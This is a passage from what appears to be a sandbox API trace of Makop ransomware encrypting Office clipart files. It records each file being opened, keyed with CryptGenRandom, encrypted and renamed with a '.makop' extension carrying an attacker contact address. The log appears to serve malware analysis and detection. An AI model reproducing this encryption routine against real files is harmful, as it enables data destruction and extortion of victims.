office\\clipart\\pub60cor\\wb01750_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.393] CloseHandle (hObject=0xf0) returned 1 [0155.393] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cebf400, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cebf400, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01751_.GIF", cAlternateFileName="")) returned 1 [0155.393] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF") returned 63 [0155.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.394] GetProcessHeap () returned 0x48a0000 [0155.394] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.394] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.394] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.397] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0155.406] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.406] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.406] GetProcessHeap () returned 0x48a0000 [0155.406] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.406] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.407] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.407] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.407] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.407] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.407] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.407] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.407] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.408] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.408] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.408] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.408] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3b9, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3b9, lpOverlapped=0x0) returned 1 [0155.408] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0) returned 1 [0155.408] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.408] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3c0, lpOverlapped=0x0) returned 1 [0155.409] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.409] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.409] SetEndOfFile (hFile=0xf0) returned 1 [0155.416] GetProcessHeap () returned 0x48a0000 [0155.416] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.416] GetProcessHeap () returned 0x48a0000 [0155.416] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.416] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.416] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.418] CloseHandle (hObject=0xf0) returned 1 [0155.418] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3fc5100, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3fc5100, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01770_.GIF", cAlternateFileName="")) returned 1 [0155.418] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF") returned 63 [0155.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.423] GetProcessHeap () returned 0x48a0000 [0155.423] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.423] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.423] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.423] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0155.428] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.428] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.428] GetProcessHeap () returned 0x48a0000 [0155.428] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.428] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.428] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.428] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.428] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.429] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.429] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.429] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.429] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.429] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.429] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.429] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.429] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x304, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x304, lpOverlapped=0x0) returned 1 [0155.430] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x310, dwBufLen=0x310 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x310) returned 1 [0155.430] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.430] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x310, lpOverlapped=0x0) returned 1 [0155.430] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.430] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.430] SetEndOfFile (hFile=0xf0) returned 1 [0155.438] GetProcessHeap () returned 0x48a0000 [0155.438] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.438] GetProcessHeap () returned 0x48a0000 [0155.438] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.438] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.438] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.440] CloseHandle (hObject=0xf0) returned 1 [0155.440] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa42a6f00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa42a6f00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01838_.GIF", cAlternateFileName="")) returned 1 [0155.440] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF") returned 63 [0155.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.441] GetProcessHeap () returned 0x48a0000 [0155.441] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.441] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.441] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.442] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0155.446] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.446] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.446] GetProcessHeap () returned 0x48a0000 [0155.446] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.446] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.446] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.447] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.447] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.447] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.447] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.447] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.447] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.447] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.448] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.448] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.448] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe44, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe44, lpOverlapped=0x0) returned 1 [0155.448] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe50, dwBufLen=0xe50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe50) returned 1 [0155.448] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.448] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe50, lpOverlapped=0x0) returned 1 [0155.448] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.448] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.448] SetEndOfFile (hFile=0xf0) returned 1 [0155.455] GetProcessHeap () returned 0x48a0000 [0155.455] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.455] GetProcessHeap () returned 0x48a0000 [0155.455] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.455] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.457] CloseHandle (hObject=0xf0) returned 1 [0155.458] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1c81500, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1c81500, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01839_.GIF", cAlternateFileName="")) returned 1 [0155.458] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF") returned 63 [0155.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.459] GetProcessHeap () returned 0x48a0000 [0155.459] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.459] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.459] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.459] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0155.466] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.466] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.466] GetProcessHeap () returned 0x48a0000 [0155.466] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.466] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.466] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.466] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.467] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.467] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.467] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.467] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.468] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.468] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.468] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.468] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.468] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x446, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x446, lpOverlapped=0x0) returned 1 [0155.468] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x450, dwBufLen=0x450 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x450) returned 1 [0155.468] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.468] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x450, lpOverlapped=0x0) returned 1 [0155.469] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.469] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.469] SetEndOfFile (hFile=0xf0) returned 1 [0155.476] GetProcessHeap () returned 0x48a0000 [0155.476] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.476] GetProcessHeap () returned 0x48a0000 [0155.476] HeapFree (in: 